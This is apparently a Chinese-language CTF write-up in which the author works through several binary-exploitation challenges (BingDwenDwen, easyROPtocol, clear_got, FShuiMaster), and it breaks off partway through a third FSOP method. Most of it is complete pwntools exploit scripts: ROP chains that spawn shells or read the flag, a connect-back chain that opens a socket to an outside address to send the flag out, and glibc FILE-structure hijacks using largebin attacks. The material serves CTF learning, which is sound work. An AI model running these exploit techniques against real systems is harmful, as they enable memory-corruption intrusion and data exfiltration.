菜鸡又来复现学习了orz……
比赛的时候没来得及,只看了三个题,唯一一个本地能出的easyRopotocl远程始终打不了,数据一发就崩=-=

BingDwenDwen

题目

给了一个栈溢出,关了fd0,1,2

赛后查了一下有类似的题,介绍了两种方法

思路1

首先想的是找办法恢复输入输出。stdin,stdout,stderr通常指向/dev/pts/?(?通常为0~3),pts是tty的一部分,tty子系统用来管理终端,对每一个连接的终端都会有一个tty设备与其对应

直接使用tty命令可以看到当前shell被关联到哪个tty,如下所示看到向/dev/pts/2写数据会显示到终端上,使用lsof可以看到当前shell和lsof进程的stdin,stdout,stderr都绑定到了该tty上

Hr6Rot.png

pty属于伪终端,当使用ssh,talnet等连接的终端时并没有真正的设备连接到主机,而是建立了一个伪终端来模拟各种行为

所以应用到本题,如果能够open到正确的/dev/pts/?,然后将flag输出到其中,就能够得到flag。本方法本地没问题但是远程行不通

思路2

通过rop执行socket反弹flag

1
2
socket(2, 1, 0)
connect(socket_fd, &socketaddr_struct, 0x10)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*
import sys
context(os='linux', arch='amd64', log_level='debug')
if sys.argv[1] == 're':
r = remote('node4.buuoj.cn',28332)
else:
r = process('./pwn')


prax_r = 0x000000000040135a
prbp_r = 0x00000000004011dd
prcx_r = 0x000000000040135d
prdi_r = 0x0000000000401356
prdx_r = 0x0000000000401354
prsi_r = 0x0000000000401358
syscall_r = 0x401351
push_rax_pop_rcx_r = 0x40135C
mov_rdi_rcx_r = 0x40135F
ret = 0x000000000040101a
# gdb.attach(r)

rop = p64(prax_r)+p64(2)
rop+= p64(prdi_r)+p64(0x4038f9)
rop+= p64(prsi_r)+p64(0)
rop+= p64(prdx_r)+p64(0)
rop+= p64(syscall_r)

rop+= p64(prax_r)+p64(0)
rop+= p64(prdi_r)+p64(0)
rop+= p64(prsi_r)+p64(0x403800)
rop+= p64(prdx_r)+p64(0x50)
rop+= p64(syscall_r)

rop+= p64(prax_r)+p64(41)
rop+= p64(prdi_r)+p64(2)
rop+= p64(prsi_r)+p64(1)
rop+= p64(prdx_r)+p64(0)
rop+= p64(syscall_r)

rop+= p64(prax_r)+p64(42)
rop+= p64(prdi_r)+p64(1)
rop+= p64(prsi_r)+p64(0x403700+0x1f0)
rop+= p64(prdx_r)+p64(0x10)
rop+= p64(syscall_r)

rop+= p64(prax_r)+p64(1)
rop+= p64(prdi_r)+p64(1)
rop+= p64(prsi_r)+p64(0x403800)
rop+= p64(prdx_r)+p64(0x50)
rop+= p64(syscall_r)

rop = rop.ljust(0x1f0-16, b'\x00')
rop+= p64(0xbb061b400a1a0002)
rop+= b'./flag\x00\x00'

r.recv()
r.send(b'A'*0x10+rop)

r.interactive()

easyROPtocol

就布置好数据然后submit栈溢出,本地没问题远程没打通过,麻

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import*
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

if sys.argv[1] == 're':
ti = 7
r = remote('node4.buuoj.cn',29952)
else:
ti = 0.5
r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def add(i, ct):
r.sendafter('4. Quit.', str(1).ljust(8, '\x00'))
con = p16(0x766e)+p16(0x28B7)+ \
p32(1+i*0x1000)+p16(1)+p16(1)+p32(0x00010006)+p32(0x1)+p16(1)+p16(0xffff)
ans = calc((con+ct).ljust(0x1000, b'\x00'))
content = p16(0x766e)+p16(0x28B7)+ \
p32(1+i*0x1000)+p16(1)+p16(1)+p32(0x00010006)+p32(ans)+p16(1)+p16(0xffff)+ct
print (hex(ans))
sleep(ti)
r.send(content)

def calc(c):
v5 = 5131
for i in range(0, 0x800, 1):
if i!=8:
v5 ^= (c[2*i]+c[2*i+1]*0x100)
return v5

def submit():
r.sendlineafter('4. Quit.', str(3))

def delete(idx):
r.sendlineafter('4. Quit.', str(2))
r.sendlineafter('Which?', str(idx))


def PWN():

prdi_r = 0x0000000000401bb3
prsi_pr15_r = 0x0000000000401bb1

rop = p64(prdi_r)+p64(1)
rop+= p64(prsi_pr15_r)+p64(elf.got['write'])+p64(0)
rop+= p64(elf.plt['write'])
rop+= p64(prdi_r)+p64(1)
rop+= p64(prsi_pr15_r)+p64(0x404240)+p64(0)
rop+= p64(elf.plt['write'])
rop+= p64(0x401A5E)

# gdb.attach(r, 'b *0x40163B')

add(0, b'A'*(0x1000-0x18-6)+b'./flag')
add(1, b'A'*(0x1000-0x18))
add(2, b'A'*(0x1000-0x18))
# gdb.attach(r, 'b *0x40163B')
add(3, b'A'*0x70+rop)

submit()

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00'*2)-libc.sym['write']
heap = u64(r.recv(6)+b'\x00\x00')
print (hex(heap))
print (hex(libc.address))
flag = heap+0xffa

delete(3)


prdx_r12_r = libc.address+0x000000000011c371
ret = 0x000000000040101a
rop = p64(prdi_r)+p64(flag)
rop+= p64(prsi_pr15_r)+p64(0)*2
rop+= p64(libc.sym['open'])
rop+= p64(prdi_r)+p64(3)
rop+= p64(prsi_pr15_r)+p64(0x404220)+p64(0)
rop+= p64(prdx_r12_r)+p64(0x50)+p64(0)
rop+= p64(libc.sym['read'])
rop+= p64(prdi_r)+p64(1)
rop+= p64(prsi_pr15_r)+p64(0x404220)+p64(0)
rop+= p64(prdx_r12_r)+p64(0x50)+p64(0)
rop+= p64(libc.sym['write'])

print (hex(heap))
print (hex(libc.address))
# gdb.attach(r, 'b *0x401A94')
add(3, b'A'*0x70+rop)

submit()


# ptr: 0x404240
# flag: 0x40422C
if __name__ == '__main__':
PWN()
r.interactive()

clear_got

题目

清空了got表,裸栈溢出

思路

一开始以为是想办法恢复got表,但是行不通因为got表前面的_dl_runtime_resolve的地址也被清空了,所以是无法再次解析函数地址的;后来尝试泄露libc查偏移做rop但是远程打不通没有再试了,看了下wp才发现是直接程序内rop,于是自己写了个路子;相比之下官方exp更加简洁,学习了orz……

主要要点在于如何控制rax为0,从而执行read然后再控rax为59执行execve,我自己用的gadget如下,因为有leave所以被迫栈迁移

1
2
3
.text:000000000040075C                 mov     eax, 0
.text:0000000000400761 leave
.text:0000000000400762 retn

官方exp用的gadget是

1
2
3
4
5
6
7
8
9
.init:0000000000400520                 sub     rsp, 8          ; _init
.init:0000000000400524 mov rax, cs:__gmon_start___ptr
.init:000000000040052B test rax, rax
.init:000000000040052E jz short loc_400535
.init:0000000000400530 call __gmon_start__
.init:0000000000400535
.init:0000000000400535 loc_400535: ; CODE XREF: _init_proc+E↑j
.init:0000000000400535 add rsp, 8
.init:0000000000400539 retn

__gmon_start___ptr刚好为0,从而清零了rax,同时也跳开了call返回

myexp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

# r = remote('node4.buuoj.cn',28835)
r = process('./clear_got')
elf = ELF('./clear_got')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# gdb.attach(r)
r.recv()

exitgroup = 0x400763
sys_write = 0x400773
prdi_r = 0x00000000004007f3
prsi_r15_r = 0x00000000004007f1
leave_r = 0x0000000000400761
prbp_r = 0x0000000000400620
ret = 0x0000000000400539
syscall = 0x40077E
prsp_p3_r = 0x00000000004007ed

csu_down = 0x4007EA
csu_up = 0x4007D0
bss = 0x601200
main_ret = 0x40075C
rop = ''
rop+= p64(prdi_r)+p64(0)
rop+= p64(prsi_r15_r)+p64(bss-0x10)+p64(0)
rop+= p64(syscall)
rop+= p64(csu_down)
rop+= p64(0)
rop+= p64(bss)
rop+= p64(bss)
rop+= p64(0x200)
rop+= p64(bss+0x10)
rop+= p64(0)
rop+= p64(csu_up)
rop+= 'A'*0x10
print len(rop)+96+8
r.sendline('A'*96+p64(bss+8)+rop)


sleep(1)
rop2 = ''
rop2 += p64(syscall)
rop2 += '/bin/sh\x00'
rop2 += p64(main_ret)
rop2 += p64(syscall)
rop2 = rop2.ljust(0x38, '\x00')
r.send(rop2)

sleep(1)
rop3 = ''
rop3 += p64(0x4007EC)
rop3 += p64(bss-0x10)
rop3 += p64(0)*2
rop3 += p64(bss-8)
rop3 += p64(0x4007D0)

r.send((rop3).ljust(59, '\x00'))

r.interactive()


'''
Gadgets information
============================================================
0x00000000004007ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop r14 ; pop r15 ; ret
0x00000000004007f2 : pop r15 ; ret
0x00000000004007eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret
0x00000000004007ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400539 : ret
0x0000000000400542 : ret 0x200a
'''

FShuiMaster

题目

Ubuntu GLIBC 2.27-3ubuntu1
限制largebin,off by null

可以劫持io file,作为一个版题这里复现几种方法

思路1 _IO_str_overflow

largebin attack改写_IO_list_all指向堆地址,堆上布置fake _IO_FILE_plus,布置数据

1
2
3
4
5
6
7
8
9
10
11
12
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps

fp+0xe0 = system

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow调用链,在_IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

利用处

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

进入到这里,_IO_strfile结构体定义如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

所以控制fp->_s._allocate_buffersystemnew_size/bin/sh即可getshell。前者对应偏移为0xe0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> p/x *(struct _IO_strfile_ *) 0x55555555d470
$2 = {
_sbf = {
_f = {
_flags = 0x0,
_IO_read_ptr = 0x500,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x3ffffbdcaedc,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x3ffffbdcaedb,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x2,
_freeres_buf = 0x3,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dca360
},
_s = {
_allocate_buffer_unused = 0x7ffff7a31550,
_free_buffer_unused = 0x4141414141414100
}
}

最后exit即可触发调用

需要说明的是在当前ubuntu18.04中使用的libc版本为1.4,_IO_str_overflow中已经改成使用malloc申请空间,如果能劫持__malloc_hooksystem则可以考虑该方法,否则此法无法再使用

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = remote('node4.buuoj.cn',25414)
r = process(["./ld-2.27.so", "./FShuiMaster"], env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')


def add(sz, ct):
r.sendlineafter('Five: Finished!', str(1))
r.sendlineafter('Number of words?', str(sz))
r.sendafter('please input U character', ct)

def edit(idx, ct):
r.sendlineafter('Five: Finished!', str(2))
r.sendlineafter('please input the page U want 2 change', str(idx))
r.sendafter('Now Change U this page : ', ct)

def delete(idx):
r.sendlineafter('Five: Finished!', str(3))
r.sendlineafter('please Input the page U want 2 tear off', str(idx))

def show(idx):
r.sendlineafter('Five: Finished!', str(4))
r.sendlineafter('please Input The page U want 2 scan', str(idx))

r.recv()
r.sendline('ayoung')

add(0x5f8, 'A'*0x5f8) #0
add(0x5f8, 'A'*0x5f8) #1
add(0x5f8, 'A'*0x5f8) #2
add(0x5f8, 'A'*0x5f8) #3
add(0x5f8, 'A'*0x5f8) #4
add(0x5f8, 'A'*0x5f8) #5
add(0x5f8, 'A'*0x5f8) #6
add(0x5f8, 'A'*0x5f8) #7
add(0x5f8, 'A'*0x5f8) #8

delete(0)
add(0x600, '\x00') #9
add(0x5f8, 'A'*8) #10
show(10)
libc.address = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']

delete(10)
add(0x600, '\x00') #11
add(0x5f8, 'A'*0x10) #12=0
show(12)
r.recvuntil('A'*0x10)
heap_base = u64(r.recv(6)+'\x00\x00')-0x250
print hex(heap_base)
print hex(libc.address)

delete(12)
edit(6, 'B'*0x5f0+p64(0x2a00))
delete(7)

add(0x4f8, '\xa0') #13
add(0x6f8, '\x00') #14
add(0x4f8, '\x00') #15
add(0x6f8, '\x00') #16
add(0x4f8, '\x00') #17
add(0x6f8, '\x00') #18
add(0x4f8, '\xa0') #19
add(0x6f8, '\x00') #20
add(0x508, '\x00') #21
add(0x5f8, '\x00') #22
add(0x4f8, '\x00') #23
add(0x430, '\x00') #24

delete(11)
edit(21, 'A'*0x500+p64(0xb20))
delete(22)

add(0x608, '\x00') #25
add(0x508, '\x00') #26
add(0x5f8, '\x00') #27

delete(15) #=2
add(0x700, '\x00') #28
delete(21)

edit(2, p64(libc.sym['__malloc_hook']+0x10+1168)*2+ \
p64(0)+p64(libc.sym['_IO_list_all']-0x20)+'\n')
add(0x700, '\x00') #29

pay = ''
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])
edit(25, '\x00'*0x608)
edit(26, pay+'\n')

'''
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps
'''

r.recv()
r.sendline('5')
# list: 0x555555558080
# szie: 0x5555555583a0

r.interactive()

思路2 _IO_str_finish

类似的方法,用_IO_str_finish做一下

1
2
3
4
5
6
7
8
9
10
11
#define _IO_USER_BUF 1
...
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

利用处

1
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

所以要让fp->_s._free_buffer=systemfp->_IO_buf_base=/bin/sh,前面提到过fp->_s._free_buffer实际上就在fp->_s._allocate_buffer后面,相对fp偏移0xe8
同时需要满足条件

  • fp->_IO_buf_base存在
  • !(fp->_flags & _IO_USER_BUF)为真,即fp->_flags & _IO_USER_BUF为假,即让_flags=0即可

想要调用_IO_str_finish,可以让fake vtable向前偏移0x8
然后看_IO_flush_all_lockp源码怎么进目标函数,需要满足fp->_mode <= 0 && (fp->_IO_write_ptr > fp->_IO_write_base)为真,从而执行_IO_OVERFLOW,实际上由于我们让fake vtable指向_IO_str_jumps-8,这里最终会调用_IO_str_finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

这样一来就明白了
需要满足的条件如下,最终exit即可getshell

1
2
3
4
5
6
7
8
9
10
_flags = 0
fp->_IO_write_ptr = 1
fp->_IO_write_base= 0

_IO_buf_base = binsh_addr

_mode = -1
vtable = _IO_str_finish

fp+0xe8 -> system_addr

看一下布置好的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> p/x *(struct _IO_strfile_ *) 0x55555555d470
$1 = {
_sbf = {
_f = {
_flags = 0x0,
_IO_read_ptr = 0x500,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
_IO_write_end = 0x0,
_IO_buf_base = 0x7ffff7b95e1a,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dca358
},
_s = {
_allocate_buffer_unused = 0x0,
_free_buffer_unused = 0x7ffff7a31550
}
}

最后的最后这种方法在当前ubuntu18.04也是打不通的,因为函数里实际上调用的是free,如果能劫持__free_hooksystem,则可以使用该方法

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = remote('node4.buuoj.cn',25414)
r = process(["./ld-2.27.so", "./tmp"], env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')


def add(sz, ct):
r.sendlineafter('Five: Finished!', str(1))
r.sendlineafter('Number of words?', str(sz))
r.sendafter('please input U character', ct)

def edit(idx, ct):
r.sendlineafter('Five: Finished!', str(2))
r.sendlineafter('please input the page U want 2 change', str(idx))
r.sendafter('Now Change U this page : ', ct)

def delete(idx):
r.sendlineafter('Five: Finished!', str(3))
r.sendlineafter('please Input the page U want 2 tear off', str(idx))

def show(idx):
r.sendlineafter('Five: Finished!', str(4))
r.sendlineafter('please Input The page U want 2 scan', str(idx))

r.recv()
r.sendline('ayoung')

add(0x5f8, 'A'*0x5f8) #0
add(0x5f8, 'A'*0x5f8) #1
add(0x5f8, 'A'*0x5f8) #2
add(0x5f8, 'A'*0x5f8) #3
add(0x5f8, 'A'*0x5f8) #4
add(0x5f8, 'A'*0x5f8) #5
add(0x5f8, 'A'*0x5f8) #6
add(0x5f8, 'A'*0x5f8) #7
add(0x5f8, 'A'*0x5f8) #8

delete(0)
add(0x600, '\x00') #9
add(0x5f8, 'A'*8) #10
show(10)
libc.address = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']

delete(10)
add(0x600, '\x00') #11
add(0x5f8, 'A'*0x10) #12=0
show(12)
r.recvuntil('A'*0x10)
heap_base = u64(r.recv(6)+'\x00\x00')-0x250
print hex(heap_base)
print hex(libc.address)

delete(12)
edit(6, 'B'*0x5f0+p64(0x2a00))
delete(7)

add(0x4f8, '\xa0') #13
add(0x6f8, '\x00') #14
add(0x4f8, '\x00') #15
add(0x6f8, '\x00') #16
add(0x4f8, '\x00') #17
add(0x6f8, '\x00') #18
add(0x4f8, '\xa0') #19
add(0x6f8, '\x00') #20
add(0x508, '\x00') #21
add(0x5f8, '\x00') #22
add(0x4f8, '\x00') #23
add(0x430, '\x00') #24

delete(11)
edit(21, 'A'*0x500+p64(0xb20))
delete(22)

add(0x608, '\x00') #25
add(0x508, '\x00') #26
add(0x5f8, '\x00') #27

delete(15) #=2
add(0x700, '\x00') #28
delete(21)

edit(2, p64(libc.sym['__malloc_hook']+0x10+1168)*2+ \
p64(0)+p64(libc.sym['_IO_list_all']-0x20)+'\n')
add(0x700, '\x00') #29

pay = ''
pay+= p64(0)*2
pay+= p64(0)
pay+= p64(1)
pay+= p64(0)
pay+= p64(libc.search('/bin/sh').next())
pay+= p64(0)
pay+= p64(0)*12
pay+= p64(0)
pay+= p64(0)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360-8)
pay+= p64(0)
pay+= p64(libc.sym['system'])
edit(25, '\x00'*0x608)
edit(26, pay+'\n')

'''
_flags = 0
fp->_IO_write_ptr = 1
fp->_IO_write_base= 0

_IO_buf_base = binsh_addr

_mode = -1
vtable = _IO_str_finish

fp+0xe8 -> system_addr
'''

r.recv()
r.sendline('5')
# list: 0x555555558080
# szie: 0x5555555583a0

r.interactive()

思路3 _IO_wstr_overflow

和前两种类似,使用_IO_wstr_jumps里的函数

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end \
- (fp)->_wide_data->_IO_buf_base)
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_FLAGS2_USER_WBUF 8

_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;

if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;

new_buf
= (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
* sizeof (wchar_t));
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return WEOF;
}
if (old_buf)
{
__wmemcpy (new_buf, old_buf, old_wblen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_wide_data->_IO_buf_base = NULL;
}

__wmemset (new_buf + old_wblen, L'\0', new_size - old_wblen);

_IO_wsetb (fp, new_buf, new_buf + new_size, 1);
fp->_wide_data->_IO_read_base =
new_buf + (fp->_wide_data->_IO_read_base - old_buf);
fp->_wide_data->_IO_read_ptr =
new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
fp->_wide_data->_IO_read_end =
new_buf + (fp->_wide_data->_IO_read_end - old_buf);
fp->_wide_data->_IO_write_ptr =
new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);

fp->_wide_data->_IO_write_base = new_buf;
fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
}
}

if (!flush_only)
*fp->_wide_data->_IO_write_ptr++ = c;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return c;
}

利用处

1
2
new_buf
= (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size* sizeof (wchar_t));

需要让fp->_s._allocate_buffer=systemnew_size*sizeof(wchar_t)=/bin/shsizeof(wchar_t)=4

要走到这里,需要满足

  • fp->_flags & _IO_NO_WRITES为假
  • fp->_flags & _IO_TIED_PUT_GET为假
  • fp->_flags2 & _IO_FLAGS2_USER_WBUF为假
  • fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base >= (_IO_size_t) (_IO_wblen (fp) + flush_only),即_IO_write_ptr-_IO_write_base >= _IO_buf_end-_IO_buf_base+0/1
